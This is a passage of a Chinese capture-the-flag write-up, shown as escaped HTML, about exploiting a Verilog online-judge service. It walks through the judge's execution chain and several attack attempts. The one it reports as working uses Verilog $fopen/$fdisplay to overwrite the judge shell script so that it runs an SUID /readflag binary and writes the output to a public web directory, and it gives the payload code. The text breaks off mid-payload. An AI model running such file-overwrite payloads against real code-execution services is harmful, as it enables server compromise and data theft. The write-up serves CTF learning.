&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-comment&quot;&gt;    &#x2F;&#x2F; ... 读取并输出 &#x2F;flag 内容&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;关键发现&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;readflag&lt;&#x2F;code&gt; 具有 SUID root 权限（4555）&lt;&#x2F;li&gt;
&lt;li&gt;需要精确的四个参数：&lt;code&gt;give me the flag&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;成功后会以 root 权限读取 &lt;code&gt;&#x2F;flag&lt;&#x2F;code&gt; 并输出&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;di-san-bu-pan-ti-liu-cheng-fen-xi&quot;&gt;第三步：判题流程分析&lt;&#x2F;h3&gt;
&lt;p&gt;通过分析 &lt;code&gt;judge_job.rb&lt;&#x2F;code&gt; 和 &lt;code&gt;judge.sh&lt;&#x2F;code&gt;，理解判题执行链：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;def&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; judge&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt;dir&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;  stdout&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; stderr&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; status &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-class&quot;&gt; Timeout&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;timeout&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;15&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;    script_path&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-class&quot;&gt; File&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;realpath&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;#{&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-class&quot;&gt;File&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;dirname&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable&quot;&gt;__FILE__&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)}&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;..&#x2F;..&#x2F;scripts&#x2F;judge.sh&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-class&quot;&gt;    Open3&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;capture3&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;#{&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;script_path&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;} #{&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;dir&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;}&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;  end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-comment&quot;&gt;  # ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-shebang z-shell z-meta z-shebang z-shell&quot;&gt;#!&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;set&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; -e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt;$1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;iverilog&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; module.v testbench.v -o judge&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;vvp&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; judge&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;执行流程&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;用户提交 Verilog 代码 → Sidekiq 异步处理&lt;&#x2F;li&gt;
&lt;li&gt;创建临时目录，写入 &lt;code&gt;module.v&lt;&#x2F;code&gt;（用户代码）和 &lt;code&gt;testbench.v&lt;&#x2F;code&gt;（题目测试）&lt;&#x2F;li&gt;
&lt;li&gt;调用 &lt;code&gt;&#x2F;app&#x2F;scripts&#x2F;judge.sh&lt;&#x2F;code&gt; 进行编译和仿真&lt;&#x2F;li&gt;
&lt;li&gt;捕获输出并存储结果&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;di-si-bu-ti-mu-yao-qiu-fen-xi&quot;&gt;第四步：题目要求分析&lt;&#x2F;h3&gt;
&lt;p&gt;查看数据库中的 testbench：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;SELECT&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; testbench &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;FROM&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; problems &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;WHERE&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; id&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;1&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;发现需要实现一个 4 位 2×2 交叉开关模块 &lt;code&gt;Crossbar_2x2_4bit&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;当 &lt;code&gt;control = 0&lt;&#x2F;code&gt;：直通模式（out1=in1, out2=in2）&lt;&#x2F;li&gt;
&lt;li&gt;当 &lt;code&gt;control = 1&lt;&#x2F;code&gt;：交叉模式（out1=in2, out2=in1）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;di-wu-bu-gong-ji-xiang-liang-tan-suo&quot;&gt;第五步：攻击向量探索&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;chang-shi-1-zhi-jie-shi-yong-system&quot;&gt;尝试 1：直接使用 &lt;code&gt;$system&lt;&#x2F;code&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;最初尝试在 Verilog 中直接调用系统命令：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;verilog&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;initial begin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;    $system(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;&#x2F;readflag give me the flag &amp;gt; &#x2F;app&#x2F;app&#x2F;presentation&#x2F;public&#x2F;flag.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;结果&lt;&#x2F;strong&gt;：失败 ❌&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;module.v:12: Error: System task&#x2F;function $system() is not defined by any module.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;分析&lt;&#x2F;strong&gt;：Icarus Verilog 默认禁用了 &lt;code&gt;$system&lt;&#x2F;code&gt; 函数，无法直接执行系统命令。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;chang-shi-2-mo-ban-zhu-ru-gong-ji&quot;&gt;尝试 2：模板注入攻击&lt;&#x2F;h4&gt;
&lt;p&gt;尝试通过 &lt;code&gt;$fopen&lt;&#x2F;code&gt; 覆盖 Slim 模板文件：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;verilog&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;integer&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; fd;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;initial begin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;    fd &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function&quot;&gt; $fopen&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;&#x2F;app&#x2F;app&#x2F;presentation&#x2F;views&#x2F;submissions.slim&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;w&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; (fd) &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;begin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;        $fdisplay&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;= %x{&#x2F;readflag give me the flag}&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;        $fclose&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;结果&lt;&#x2F;strong&gt;：部分成功但不稳定 ⚠️&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;问题&lt;&#x2F;strong&gt;：生产环境可能缓存模板，且需要额外的页面访问触发。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;chang-shi-3-pan-ti-jiao-ben-fu-gai-cheng-gong-fang-an-white-check-mark&quot;&gt;尝试 3：判题脚本覆盖（成功方案）✅&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;核心思路&lt;&#x2F;strong&gt;：既然无法直接执行系统命令，那就修改执行命令的脚本！&lt;&#x2F;p&gt;
&lt;p&gt;通过 &lt;code&gt;$fopen&lt;&#x2F;code&gt; 完全覆盖 &lt;code&gt;&#x2F;app&#x2F;scripts&#x2F;judge.sh&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;verilog&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;integer&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; fd;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;initial begin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;    fd &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function&quot;&gt; $fopen&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;&#x2F;app&#x2F;scripts&#x2F;judge.sh&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;w&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; (fd) &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;begin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;        $fdisplay&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;#!&#x2F;bin&#x2F;sh&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;        $fdisplay&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;set -e&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;        $fdisplay&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;&#x2F;readflag give me the flag &amp;gt; &#x2F;app&#x2F;app&#x2F;presentation&#x2F;public&#x2F;flag.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;        $fdisplay&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;cd &lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;$1&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;        $fdisplay&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;iverilog module.v testbench.v -o judge&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;        $fdisplay&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;vvp judge&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;        $fclose&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;优势&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在脚本开头插入 &lt;code&gt;&#x2F;readflag&lt;&#x2F;code&gt; 调用&lt;&#x2F;li&gt;
&lt;li&gt;保持原有判题逻辑，不影响后续流程&lt;&#x2F;li&gt;
&lt;li&gt;输出重定向到 Web 可访问的静态目录&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;zui-zhong-li-yong-fang-an&quot;&gt;最终利用方案&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;payload-she-ji&quot;&gt;Payload 设计&lt;&#x2F;h3&gt;
&lt;p&gt;需要两次提交：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;第一次提交&lt;&#x2F;strong&gt;：覆盖判题脚本&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;verilog&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;`timescale&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; 1ns&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;1ps&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;module&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-type&quot;&gt; Crossbar_2x2_4bit&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    input&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;  [&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;3&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;] in1,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    input&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;  [&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;3&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;] in2,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    input&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;        control,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    output&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; [&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;3&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;] out1,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    output&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; [&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;3&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;] out2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    assign&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; out1 &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; control ? in2 : in1;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    assign&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; out2 &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; control ? in1 : in2;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    integer&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; fd;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    initial begin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;        fd &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function&quot;&gt; $fopen&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;&#x2F;app&#x2F;scripts&#x2F;judge.sh&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;w&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; (fd) &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;begin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
